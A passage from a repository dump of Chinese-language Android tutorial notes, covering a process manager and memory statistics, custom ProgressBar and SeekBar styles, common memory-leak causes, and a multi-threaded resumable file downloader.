taskInfo.setIcon(icon);\n                String name = packInfo.applicationInfo.loadLabel(pm).toString();\n                taskInfo.setName(name);\n                if(AppInfoProvider.filterApp(packInfo.applicationInfo)){\n                    taskInfo.setUserTask(true);\n                }else{\n                    taskInfo.setUserTask(false);\n                }\n            } catch (NameNotFoundException e) {\n                taskInfo.setIcon(context.getResources().getDrawable(R.drawable.ic_launcher));\n                taskInfo.setName(packname);\n                e.printStackTrace();\n            } \n            taskInfos.add(taskInfo);\n        }\n        return taskInfos;\n    }\n    ```\n\n5. 一键清理     \n\t杀死进程需要权限     \n\t```xml\n\tandroid.permission.KILL_BACKGROUND_PROCESSES\n\t```\n\t杀死进程就是使用ActivityManager的killBackgroundProcess方法\n\t```\n\tpublic void killBackgroundProcesses(String packageName)\n\t```\n\n6. 获取内存可用大小\n    ```java\n\tpublic class ProcessStatusUtils {\n        /**\n         * 获取有多少个程序正处于运行状态.\n         * @param context\n         * @return\n         */\n        public static int getProcessCount(Context context){\n            ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n            return am.getRunningAppProcesses().size();\n        }\n    \n        /**\n         * 获取手机里面可用的内存空间\n         * @param context\n         * @return long类型的byte的值\n         */\n        public static long getAvailRAM(Context context){\n            ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n            MemoryInfo outInfo = new MemoryInfo();\n            am.getMemoryInfo(outInfo);\n            return outInfo.availMem;\n        }\n\n        //获取手机的总内存，Android的Api中没有提供获取总内存的方法，在linux系统中我们要通过这个文件才能得到总内存\n        public static long getTotalRAM(){\n            try {\n                File file = new File(\"/proc/meminfo\");//Android系统这个文件的第一行就能得到总的内存大小\n                FileInputStream fis = new FileInputStream(file);\n                BufferedReader br = new BufferedReader(new InputStreamReader(fis));\n                String str = br.readLine();\n                //MemTotal:         513248 kB\n                char[] chars = str.toCharArray();\n                StringBuffer sb = new StringBuffer();\n                for(char c : chars){\n                    if(c>='0'&&c<='9'){\n                        sb.append(c);\n                    }\n                }\n                return Integer.parseInt(sb.toString())*1024;//得到的是多少kb,将kb转成b\n            } catch (Exception e) {\n                e.printStackTrace();\n                return 0;\n            }\n        }\n    } \n    //上面的方法都是得到的多少比特的大小，在使用中可以使用Formatter.formatFileSize(Context context, long b)将其自动转成K,M,G等\n    ```\n    \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/修改系统组件样式.md",
    "content": "修改系统组件样式\n===\n\n系统所有组件的样式声明都在`data-res-values-styles.xml`中，如果我们想要修改某个系统组件的样式只需要拷贝它的样式到本地后修改一下就行了。\n\n- 自定义ProgressBar样式\n\t1. 去系统的styles.xml中搜寻ProgressBar的样式                  \n\t\t```xml\n\t\t<style name=\"Widget.ProgressBar\">\n\t\t\t<item name=\"android:indeterminateOnly\">true</item>\n\t\t\t<item name=\"android:indeterminateDrawable\">@android:drawable/progress_medium_white</item>\n\t\t\t<item name=\"android:indeterminateBehavior\">repeat</item>\n\t\t\t<item name=\"android:indeterminateDuration\">3500</item>\n\t\t\t<item name=\"android:minWidth\">48dip</item>\n\t\t\t<item name=\"android:maxWidth\">48dip</item>\n\t\t\t<item name=\"android:minHeight\">48dip</item>\n\t\t\t<item name=\"android:maxHeight\">48dip</item>\n\t\t</style>\n\t\t```\n\t2. 看到有一个属性引用了@android:drawable/progress_medium_white，内容如下          \n\t\t```xml\n\t\t<animated-rotate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\t\tandroid:drawable=\"@drawable/spinner_white_48\"\n\t\t\tandroid:pivotX=\"50%\"\n\t\t\tandroid:pivotY=\"50%\"\n\t\t\tandroid:framesCount=\"12\"\n\t\t\tandroid:frameDuration=\"100\" /> \n\t\t//这样报错了，是因为framesCount和framesDuration这两个属性在高版本才有，在2.2没有所以把这两个属性给去了就可以了\n\t\t这个文件定义了一个旋转动画的背景，它里面引用了drawable中的spinner_white_48这个图片\n\t\t```\n\t\t\n\t3. 自定义一个样式继承Widget.ProgeessBar，然后重写android:indeterminateDrawable让它使用我们自己的资源\n\t\t```xml\n\t\t<style name=\"my_pb_style\" parent=\"@android:style/Widget.ProgressBar\">\n\t\t\t<item name=\"android:indeterminateDrawable\">@drawable/progress_medium_white</item>\n\t\t</style> \n\t\t//那么这个drawable下的progress_medium_white.xml就是将系统的拷贝到我们自己的程序中\n\n\t4. 拷贝Android中的progress_medium_white.xml到自己的系统中\n\t5. 将里面的 android:drawable=\"@drawable/spinner_white_48\"给修改成自己的图片\n\t6. 在xml文件中使用我们自定义的ProgressBar         \n\t\t```xml\n\t\t<ProgressBar\n\t\t\tstyle=\"@style/my_pb_style\"\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\" />\n\t\t```\n\n- 自定义进度条\n\t1. 系统所有的组件都在D:\\android-sdk-windows\\platforms\\android-8\\data\\res\\values\\styles.xml\n\t\t```xml\n\t\t<style name=\"Widget.ProgressBar.Horizontal\">\n\t\t\t<item name=\"android:indeterminateOnly\">false</item>\n\t\t\t<item name=\"android:progressDrawable\">@android:drawable/progress_horizontal</item>\n\t\t\t<item name=\"android:indeterminateDrawable\">@android:drawable/progress_indeterminate_horizontal</item>\n\t\t\t<item name=\"android:minHeight\">20dip</item>\n\t\t\t<item name=\"android:maxHeight\">20dip</item>\n\t\t</style>\n\t\t```\n\t2. 引用了一个drawable资源@android:drawable/progress_horizontal，打开后内容如下\n\t\t```xml\n\t\tLayer-list代表的是一个图层的列表\n\t\t<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\t\t\t<item android:id=\"@android:id/background\"> //背景,这里它是通过图形资源shape的方式定义的背景\n\t\t\t\t<shape>\n\t\t\t\t\t<corners android:radius=\"5dip\" />\n\t\t\t\t\t<gradient\n\t\t\t\t\t\t\tandroid:startColor=\"#ff9d9e9d\"\n\t\t\t\t\t\t\tandroid:centerColor=\"#ff5a5d5a\"\n\t\t\t\t\t\t\tandroid:centerY=\"0.75\"\n\t\t\t\t\t\t\tandroid:endColor=\"#ff747674\"\n\t\t\t\t\t\t\tandroid:angle=\"270\"\n\t\t\t\t\t/>\n\t\t\t\t</shape>\n\t\t\t</item>\t \n\t\t\t<item android:id=\"@android:id/secondaryProgress\">\n\t\t\t\t<clip>\n\t\t\t\t\t<shape>\n\t\t\t\t\t\t<corners android:radius=\"5dip\" />\n\t\t\t\t\t\t<gradient\n\t\t\t\t\t\t\t\tandroid:startColor=\"#80ffd300\"\n\t\t\t\t\t\t\t\tandroid:centerColor=\"#80ffb600\"\n\t\t\t\t\t\t\t\tandroid:centerY=\"0.75\"\n\t\t\t\t\t\t\t\tandroid:endColor=\"#a0ffcb00\"\n\t\t\t\t\t\t\t\tandroid:angle=\"270\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</shape>\n\t\t\t\t</clip>\n\t\t\t</item>\t \n\t\t\t<item android:id=\"@android:id/progress\"> //进度\n\t\t\t\t<clip>\n\t\t\t\t\t<shape>\n\t\t\t\t\t\t<corners android:radius=\"5dip\" />\n\t\t\t\t\t\t<gradient\n\t\t\t\t\t\t\t\tandroid:startColor=\"#ffffd300\"\n\t\t\t\t\t\t\t\tandroid:centerColor=\"#ffffb600\"\n\t\t\t\t\t\t\t\tandroid:centerY=\"0.75\"\n\t\t\t\t\t\t\t\tandroid:endColor=\"#ffffcb00\"\n\t\t\t\t\t\t\t\tandroid:angle=\"270\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</shape>\n\t\t\t\t</clip>\n\t\t\t</item>\n\t\t</layer-list>\n\t```\n    3. 自定义一个样式继承系统的Widget.ProgressBar.Horizontal，然后重写android:progressDrawable属性，让其指向我们的样式\n\t\t```xml\n\t\t<style name=\"MediaController_SeekBar\" parent=\"android:Widget.SeekBar\">\n\t\t\t<item name=\"android:progressDrawable\">@drawable/scrubber_progress_horizontal_holo_dark</item>\n\t\t\t<item name=\"android:indeterminateDrawable\">@drawable/scrubber_progress_horizontal_holo_dark</item>\n\t\t\t<item name=\"android:minHeight\">13dip</item>\n\t\t\t<item name=\"android:maxHeight\">13dip</item>\n\t\t\t<item name=\"android:thumb\">@drawable/scrubber_control_selector_holo</item>//拖动的图标\n\t\t\t<item name=\"android:thumbOffset\">16dip</item>//保证滑块中心和进度条首尾两端的中心点是一致的\n\t\t\t<item name=\"android:paddingLeft\">16dip</item>//保证滑块显示全部，没有它滑块在首尾两端只会显示一半，左一半、右一半\n\t\t\t<item name=\"android:paddingRight\">16dip</item>//同上，控制右边的滑块能全部显示\n\t\t</style>\n\t\t``` \n\t4. scrubber_progress_horizontal_holo_dark.xml变成我们自己的图片\n\t\t```xml\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\" >\n\t\t\t<item android:id=\"@android:id/background\" android:drawable=\"@drawable/security_progress_bg\">//好看的图片\n\t\t\t</item>\n\t\t\t<item android:id=\"@android:id/secondaryProgress\" android:drawable=\"@drawable/security_progress_bg\">\n\t\t\t</item>\n\t\t\t<item android:id=\"@android:id/progress\" android:drawable=\"@drawable/security_progress\">//好看的图片\n\t\t\t</item>\n\t\t</layer-list>\n\t\t```\t\n\t5. SeekBar使用自定义样式\n\t\t```xml\n\t\t<SeekBar\n\t\t\tandroid:id=\"@+id/mediacontroller_seekbar\"\n\t\t\tstyle=\"@style/MediaController_SeekBar\"\n\t\t\tandroid:layout_width=\"match_parent\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_centerVertical=\"true\"\n\t\t\tandroid:focusable=\"true\"\n\t\t\tandroid:max=\"1000\" />\n\t\t```\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/内存泄漏.md",
    "content": "内存泄露\n===\n\n\n## 定义     \n内存泄露是指无用对象(不再使用的对象)持续占有内存或无用对象的内存得不到及时释放，从而造成的内存空间的浪费称为内存泄露。\n\n## 原因      \n长生命周期的对象持有短生命周期对象的引用就很可能发生内存泄露，尽管短生命周期对象已经不再需要，但是因为长生命周期对象持有它的引用而导致不能被回收，\n这就是`java`中内存泄露的发生场景。\n\n## 危害     \n只有一个，那就是虚拟机占用内存过高，导致`OOM`(内存溢出)。\n对于`Android`应用来说，就是你的用户打开一个`Activity`，使用完之后关闭它，内存泄露；又打开，又关闭，又泄露；几次之后，程序占用内存超过系统限制就会出现`FC`。             \n\n\n先来说一下`Java`程序运行时的内存分配策略:        \n\n- 静态内存:存放静态数据，这块内存是在编译时就已经分配好的，在程序整个运行期间都存在。\n- 栈内存:程序执行时，局部变量的创建存储区，执行结束后将自动释放。(当时学习java时花的内存分配图，现在都生疏了- -!)\n- 堆内存:存储一些new出来的内存，也叫动态内存分配，这部分内存在不使用时将会有`Java`垃圾回收器来负责回收。    \n\n举一个典型的内存泄漏的例子:     \n```java\nVector v = new Vector(100);\nfor (int i = 1; i < 100,; i++) {\n\tObject o = new Object();\n\tv.add(o);\n\to = null;\n}\n```\t\n在这个例子中，我们循环申请了`Object`对象，并将所申请的对象放入一个集合中，如果我们仅仅释放引用本身，那么`Vector`仍然引用\n该对象，所以这个对象对`GC`来说是不可回收的。因此，如果对象假如`Vector`后，还必须从`Vector`中删除，最简单的方法就是将\n`Vector`对象设置为`null`.\n\t\t\t\n`Java`和`C++`一个很大的区别就是`Java`有垃圾回收`GC(Garbage Collection)`自动管理内存的回收。但是我们在实际的项目中仍然会遇到内存泄露的问题。\n`Java`中对内存对象得访问是通过引用的方式，通过一个内存对象的引用变量来访问到对应的内存地址中的对象。\n`GC`会从代码栈的引用变量开始追踪，从而判断哪些内存是正在使用，如果无法跟踪到某一块堆内存，那么`GC`就认为这块内存不再使用了。\n\n`Android`手机给应用分配的内存通常是8兆左右，如果处理内存处理不当很容易造成`OutOfMemoryError`\n`OutOfMemoryError`主要由以下几种情况造成： \n\n1. 数据库`Cursor`没关。  \n    当我们操作完数据库后，一定要调用`close()`释放资源。 \n\n2. 构造`Adapter`没有使用缓存`ContentView`。    \n    ```java\n    @Override  \n    public View getView(int position, View convertView, ViewGroup parent) {  \n        ViewHolder vHolder = null;  \n        //如果convertView对象为空则创建新对象，不为空则复用  \n        if (convertView == null) {  \n            convertView = inflater.inflate(..., null);  \n            // 创建 ViewHodler 对象  \n            vHolder = new ViewHolder();  \n            vHolder.img= (ImageView) convertView.findViewById(...);  \n            vHolder.tv= (TextView) convertView  \n                    .findViewById(...);  \n            // 将ViewHodler保存到Tag中  \n            convertView.setTag(vHolder);  \n        } else {  \n            //当convertView不为空时，通过getTag()得到View  \n            vHolder = (ViewHolder) convertView.getTag();  \n        }  \n        // 给对象赋值，修改显示的值  \n        vHolder.img.setImageBitmap(...);  \n        vHolder.tv.setText(...);  \n        return convertView;  \n    }  \n    \n    static class ViewHolder {  \n        TextView tv;  \n        ImageView img;  \n    }  \n    ```\n\n3. 未取消注册广播接收者     \n    `registerReceiver()`和`unregisterReceiver()`要成对出现，通常需要在`Activity`的`onDestory()`方法去取消注册广播接收者。\n\t\n4. `IO`流未关闭\n    注意用完后及时关闭\n\n5. `Bitmap`使用后未调用`recycle()`。 \n\n6. `Context`泄漏\n    这是一个很隐晦的`OutOfMemoryError`的情况。先看一个Android官网提供的例子： \n\n    ```java\n    private static Drawable sBackground;  \n    @Override  \n    protected void onCreate(Bundle state) {  \n    \tsuper.onCreate(state);  \n    \tTextView label = new TextView(this);  \n    \tlabel.setText(\"Leaks are bad\");  \n    \tif (sBackground == null) {  \n    \t\tsBackground = getDrawable(R.drawable.large_bitmap);  \n    \t}  \n    \tlabel.setBackgroundDrawable(sBackground);  \n    \tsetContentView(label);  \n    }  \n    ```\n    这段代码效率很快，但同时又是极其错误的：    \n\t我们看一下`setBackgroundDrawable(Drawable background)`的源码：\n\t```java\n\t public void setBackgroundDrawable(Drawable background) {\n\t\t...\n\t\tbackground.setCallback(this);\n\t }\n\t```\n\t有`background.setCallback(this);`方法，也就是说`Drawable`拥有`TextView`的引用，而`TextView`又拥有`Activity`(Context类型)的引用，\n\t因为`sBackground`为`static`的，即使`Activity`被销毁，但是`sBackground`的生命周期还没走完，所以内存仍然不会被释放。这样就会有内存泄露了。\n\t对，这样想是对的，但是我们看一下`setCallback`的源码：\n\t```java\n\t  public final void setCallback(Callback cb) {\n        mCallback = new WeakReference<Callback>(cb);\n    }\n\t```\n\t我们会发现里面使用了`WeakReference`，所以不会存在内存泄露了，但是官网当时提供的例子明明说有泄露，这是因为在3.0之后，\n\t修复了这个内存泄露的问题，在3.0之前`setCallback`，方法是没有使用`WeakReference`的，所以这种泄露的情况在3.0之前会发生，3.0之后已经被修复。\n\t\n7. 线程\n    线程也是造成内存泄露的一个重要的源头。线程产生内存泄露的主要原因在于线程生命周期的不可控。我们来考虑下面一段代码。\n    ```java\n\tpublic class MyActivity extends Activity {     \n\t\t@Override     \n\t\tpublic void onCreate(Bundle savedInstanceState) {         \n\t\t\tsuper.onCreate(savedInstanceState);         \n\t\t\tsetContentView(R.layout.main);         \n\t\t\tnew MyThread().start();     \n\t\t}       \n\t\tprivate class MyThread extends Thread{         \n\t\t@Override         \n\t\t\tpublic void run() {             \n\t\t\tsuper.run();             \n\t\t\t//耗时的操作       \n\t\t\t}     \n\t\t} \n\t}  \n\t```\n    假设`MyThread`的`run`函数是一个很费时的操作，当调用`finish`的时候`Activity`会销毁掉吗？    \n    事实上由于我们的线程是`Activity`的内部类，所以`MyThread`中保存了`Activity`的一个引用，当`MyThread`的`run`函数没有结束时，`MyThread`是不会被销毁的，\n\t因此它所引用的`Activity`也不会被销毁，因此就出现了内存泄露的问题。\n\n11. 单例造成的内存泄漏      \n  \t由于单例的静态特性使得其生命周期跟应用的生命周期一样长，所以如果使用不恰当的话，很容易造成内存泄漏，比如:      \n\t```java\n\tpublic class AppManager {\n\t\tprivate static AppManager instance;\n\t\tprivate Context context;\n\t\tprivate AppManager(Context context) {\n\t\t\tthis.context = context;\n\t\t}\n\t\tpublic static AppManager getInstance(Context context) {\n\t\t\tif (instance != null) {\n\t\t\t\tinstance = new AppManager(context);\n\t\t\t}\n\t\t\treturn instance;\n\t\t}\n\t}\n\t```\n\t这里如果传入的是`Activity`的`Context`，当该`Context`的`Activity`退出后，由于其被单例对象引用，所以会导致`Activity`无法被回收，就造成内存泄漏。\n\t\n8. 尽量使用`ApplicationContext`\n\t**`Context`引用的生命周期超过它本身的生命周期，也会导致`Context`泄漏**。\n\t所以如果打算保存一个长时间的对象时尽量使用`Application`这种`Context`类型。\n\t例如: \n\t```java\n\tmStorageManager = (StorageManager) getSystemService(Context.STORAGE_SERVICE);\n\t改成：\n\tmStorageManager = (StorageManager) getApplicationContext().getSystemService(Context.STORAGE_SERVICE);\n\t```\n\t按道理来说这种系统服务是不会有问题，但是有些厂商在修改的时候，可能会导致`Context`无法被及时释放。\n\t\n9. Handler的使用,在Activity退出的时候注意移除(尤其是循环的时候)\n    ```java\n\tpublic class ThreadDemo extends Activity {  \n\t\tprivate static final String TAG = \"ThreadDemo\";  \n\t\tprivate int count = 0;  \n\t\tprivate Handler mHandler =  new Handler();  \n\t\t  \n\t\tprivate Runnable mRunnable = new Runnable() {  \n\t\t\t  \n\t\t\tpublic void run() {  \n\t\t\t\t//为了方便 查看，我们用Log打印出来   \n\t\t\t\tLog.e(TAG, Thread.currentThread().getName() + \" \" +count);    \n\t\t\t\t//每2秒执行一次   \n\t\t\t\tmHandler.postDelayed(mRunnable, 2000);  \n\t\t\t}   \n\t\t};  \n\t\t@Override  \n\t\tpublic void onCreate(Bundle savedInstanceState) {  \n\t\t\tsuper.onCreate(savedInstanceState);  \n\t\t\tsetContentView(R.layout.main);   \n\t\t\t//通过Handler启动线程   \n\t\t\tmHandler.post(mRunnable);  \n\t\t} \n\t} \n\t```\n\t这样在也会引发内存泄露。我们应该在`onDestory`方法中移除`Handler`,代码如下：\n\t```java\n\t@Override  \n\tprotected void onDestroy() {  \n\t\tsuper.onDestroy();  \n\t\tmHandler.removeCallbacks(mRunnable);  \n\t} \n\t```\n10. 由上面的`Handler`可以引伸出来的匿名内部类、非静态内部类和异步现成导致的内存泄漏。      \n    下面看一个非静态内部类创建静态实例导致的内存泄漏\n\t```java\n\tpublic class MainActivity extends AppCompatActivity {\n\t\tprivate static TestResource mResource = null;\n\t\t@Override\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.activity_main);\n\t\t\tif(mManager == null){\n\t\t\t\tmManager = new TestResource();\n\t\t\t}\n\t\t\t//...\n\t\t}\n\t\tclass TestResource {\n\t\t\t//...\n\t\t}\n\t}\n\t```\n\t因为非静态内部类默认会持有外部类的引用，而该非静态内部类又创建了一个静态实例，该实例的声明周期与应用的一样长，\n\t这就导致了静态实例一直会持有`Activity`的引用而造成内存泄漏。             \n\t下面再看一个匿名内部类和异步现成的现象:        \n\t```java\n\tpublic class MainActivity extends Activity {\n\t\t...\n\t\tRunnable ref1 = new MyRunable();\n\t\tRunnable ref2 = new Runnable() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\n\t\t\t}\n\t\t};\n\t\t...\n\t}\n\t```\n\t上面的例子中`ref1`对象是没问题的，但是`ref2`这个匿名类的实现对象中有外部类的引用，如果此时线程的生命周期与`Activity`的不一致时就会造成了泄漏。\n\t\n10. 集合类泄漏           \n    集合类中如果只有添加元素的方法，而没有相应的删除机制，导致内存被占用。如果这个集合类是全局性的变量(比如类中的静态属性)，那么没有\n\t响应的删除机制，很可能导致集合所占用的内存只增不减。\n\t\n\n总结一下避免`Contex`t泄漏应该注意的问题：        \n\n- 使用`getApplicationContext()`类型。 \n- 注意对`Context`的引用不要超过它本身的生命周期。 \n- 慎重的使用`static`关键字。 \n- `Activity`里如果有线程或`Handler`时，一定要在`onDestroy()`里及时停掉。 \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/多线程断点下载.md",
    "content": "多线程断点下载\n===\n\n1. 多线程下载\n\t```java\n\tpublic class MultiThreadDownloader {\n\n\t\tprivate URL url;        // 目标地址\n\t\tprivate File file;        // 本地文件\n\t\tprivate long threadLen;    // 每个线程下载多少\n\n\t\tprivate static final int THREAD_AMOUNT = 3;                // 线程数\n\t\tprivate static final String DIR_PATH = \"F:/Download\";    // 下载目录\n\n\t\tpublic MultiThreadDownloader(String address) throws IOException {    \n\t\t\t// 记住下载地址\n\t\t\turl = new URL(address);                                                            \n\t\t\t// 截取地址中的文件名, 创建本地文件\n\t\t\tfile = new File(DIR_PATH, address.substring(address.lastIndexOf(\"/\") + 1));        \n\t\t}\n\n\t\tpublic void download() throws IOException {\n\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\tconn.setConnectTimeout(3000);\n\n\t\t\t// 获取文件总长度\n\t\t\tlong totalLen = conn.getContentLength();                    \n\t\t\t// 计算每个线程要下载的长度\n\t\t\t// 总长度 如果能整除 线程数, 每条线程下载的长度就是 总长度 / 线程数\n\t\t\t// 总长度 如果不能整除 线程数, 那么每条线程下载长度就是 总长度 / 线程数 + 1\n\t\t\tthreadLen = (totalLen + THREAD_AMOUNT - 1) / THREAD_AMOUNT;    \n\n\t\t\t// 在本地创建一个和服务端大小相同的文件\n\t\t\tRandomAccessFile raf = new RandomAccessFile(file, \"rw\");    \n\t\t\t// 设置文件的大小, 写入了若干个0\n\t\t\traf.setLength(totalLen);                                    \n\t\t\traf.close();\n\n\t\t\t// 按照线程数循环\n\t\t\tfor (int i = 0; i < THREAD_AMOUNT; i++) {\n\t\t\t\t// 开启线程, 每个线程将会下载一部分数据到本地文件中 \n\t\t\t\tnew DownloadThread(i).start();       \n\t\t\t}     \n\t\t}\n\n\t\tprivate class DownloadThread extends Thread {\n\t\t\t// 用来标记当前线程是下载任务中的第几个线程\n\t\t\tprivate int id;     \n\n\t\t\tpublic DownloadThread(int id) {\n\t\t\t\tthis.id = id;\n\t\t\t}\n\n\t\t\tpublic void run() {\n\t\t\t\t// 从临时文件读取当前线程已完成的进度\n\n\t\t\t\tlong start = id * threadLen;     \n\t\t\t\tlong end = id * threadLen + threadLen - 1;\n\t\t\t\tSystem.out.println(\"线程\" + id + \": \" + start + \"-\" + end);\n\n\t\t\t\ttry {\n\t\t\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\t\t\tconn.setConnectTimeout(3000);\n\t\t\t\t\t// 设置当前线程下载的范围(start和end都包含)\n\t\t\t\t\tconn.setRequestProperty(\"Range\", \"bytes=\" + start + \"-\" + end);    \n\n\t\t\t\t\tInputStream in = conn.getInputStream();\n\t\t\t\t\t// 随机读写文件, 用来向本地文件写出\n\t\t\t\t\tRandomAccessFile raf = new RandomAccessFile(file, \"rw\");        \n\t\t\t\t\t// 设置保存数据的位置\n\t\t\t\t\traf.seek(start);                                                \n\n\t\t\t\t\t// 每次拷贝100KB\n\t\t\t\t\tbyte[] buffer = new byte[1024 * 100];    \n\t\t\t\t\tint len;\n\t\t\t\t\twhile ((len = in.read(buffer)) != -1) {\n\t\t\t\t\t\t// 从服务端读取数据, 写到本地文件\n\t\t\t\t\t\traf.write(buffer, 0, len);            \n\t\t\t\t\t}\n\t\t\t\t\traf.close();\n\n\t\t\t\t\tSystem.out.println(\"线程\" + id + \"下载完毕\");\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic static void main(String[] args) throws IOException {\n\t\t\tnew MultiThreadDownloader(\"http://192.168.1.240:8080/14.Web/android-sdk_r17-windows.zip\").download();\n\t\t}\n\t}\n\t```\n\n2. 断点下载\n\t```java\n\tpublic class BreakpointDownloader {\n\t\t// 下载目录\n\t\tprivate static final String DIR_PATH = \"F:/Download\";    \n\t\t// 总线程数\n\t\tprivate static final int THREAD_AMOUNT = 3;                \n\n\t\t// 目标下载地址\n\t\tprivate URL url;            \n\t\t// 本地文件\n\t\tprivate File dataFile;        \n\t\t// 用来存储每个线程下载的进度的临时文件\n\t\tprivate File tempFile;        \n\t\t// 每个线程要下载的长度\n\t\tprivate long threadLen;      \n\t\t// 总共完成了多少  \n\t\tprivate long totalFinish;    \n\t\t// 服务端文件总长度\n\t\tprivate long totalLen;        \n\t\t// 用来记录开始下载时的时间\n\t\tprivate long begin;            \n\n\t\tpublic BreakpointDownloader(String address) throws IOException {    \n\t\t\turl = new URL(address);                                                            \n\t\t\tdataFile = new File(DIR_PATH, address.substring(address.lastIndexOf(\"/\") + 1));    \n\t\t\ttempFile = new File(dataFile.getAbsolutePath() + \".temp\");                        \n\t\t}\n\n\t\tpublic void download() throws IOException {\n\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\tconn.setConnectTimeout(3000);\n\n\t\t\ttotalLen = conn.getContentLength();                                    \n\t\t\tthreadLen = (totalLen + THREAD_AMOUNT - 1) / THREAD_AMOUNT;            \n\n\t\t\tif (!dataFile.exists()) {                                            \n\t\t\t\tRandomAccessFile raf = new RandomAccessFile(dataFile, \"rws\");    \n\t\t\t\traf.setLength(totalLen);                                        \n\t\t\t\traf.close();\n\t\t\t}\n\n\t\t\tif (!tempFile.exists()) {                                            \n\t\t\t\tRandomAccessFile raf = new RandomAccessFile(tempFile, \"rws\");    \n\t\t\t\tfor (int i = 0; i < THREAD_AMOUNT; i++)                           \n\t\t\t\t\traf.writeLong(0);                                            \n\t\t\t\traf.close();\n\t\t\t}\n\n\t\t\tfor (int i = 0; i < THREAD_AMOUNT; i++) { \n\t\t\t\tnew DownloadThread(i).start();       \n\t\t\t} \n\n\t\t\t// 记录开始时间\n\t\t\tbegin = System.currentTimeMillis();        \n\t\t}\n\n\t\tprivate class DownloadThread extends Thread {\n\t\t\t// 用来标记当前线程是下载任务中的第几个线程\n\t\t\tprivate int id;     \n\n\t\t\tpublic DownloadThread(int id) {\n\t\t\t\tthis.id = id;\n\t\t\t}\n\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tRandomAccessFile tempRaf = new RandomAccessFile(tempFile, \"rws\");        \n\t\t\t\t\ttempRaf.seek(id * 8);                        \n\t\t\t\t\tlong threadFinish = tempRaf.readLong();        \n\t\t\t\t\tsynchronized(BreakpointDownloader.this) {    \n\t\t\t\t\t\ttotalFinish += threadFinish;            \n\t\t\t\t\t}\n\n\t\t\t\t\tlong start = id * threadLen + threadFinish;      \n\t\t\t\t\tlong end = id * threadLen + threadLen - 1;       \n\t\t\t\t\tSystem.out.println(\"线程\" + id + \": \" + start + \"-\" + end);\n\n\t\t\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\t\t\tconn.setConnectTimeout(3000);\n\t\t\t\t\tconn.setRequestProperty(\"Range\", \"bytes=\" + start + \"-\" + end);        \n\n\t\t\t\t\tInputStream in = conn.getInputStream();                              \n\t\t\t\t\tRandomAccessFile dataRaf = new RandomAccessFile(dataFile, \"rws\");    \n\t\t\t\t\tdataRaf.seek(start);                                                \n\n\t\t\t\t\tbyte[] buffer = new byte[1024 * 100];            \n\t\t\t\t\tint len;\n\t\t\t\t\twhile ((len = in.read(buffer)) != -1) {\n\t\t\t\t\t\tdataRaf.write(buffer, 0, len);               \n\t\t\t\t\t\tthreadFinish += len;                        \n\t\t\t\t\t\ttempRaf.seek(id * 8);                        \n\t\t\t\t\t\ttempRaf.writeLong(threadFinish);           \n\t\t\t\t\t\tsynchronized(BreakpointDownloader.this) {   \n\t\t\t\t\t\t\ttotalFinish += len;                        \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdataRaf.close();\n\t\t\t\t\ttempRaf.close();\n\n\t\t\t\t\tSystem.out.println(\"线程\" + id + \"下载完毕\");\n\t\t\t\t\t// 如果已完成长度等于服务端文件长度(代表下载完成)\n\t\t\t\t\tif (totalFinish == totalLen) {                    \n\t\t\t\t\t\tSystem.out.println(\"下载完成, 耗时: \" + (System.currentTimeMillis() - begin));\n\t\t\t\t\t\t// 删除临时文件\n\t\t\t\t\t\ttempFile.delete();                            \n\t\t\t\t\t}\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic static void main(String[] args) throws IOException {\n\t\t\tnew BreakpointDownloader(\"http://192.168.1.240:8080/14.Web/android-sdk_r17-windows.zip\").download();\n\t\t}\n\t}\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/安全退出应用程序.md",
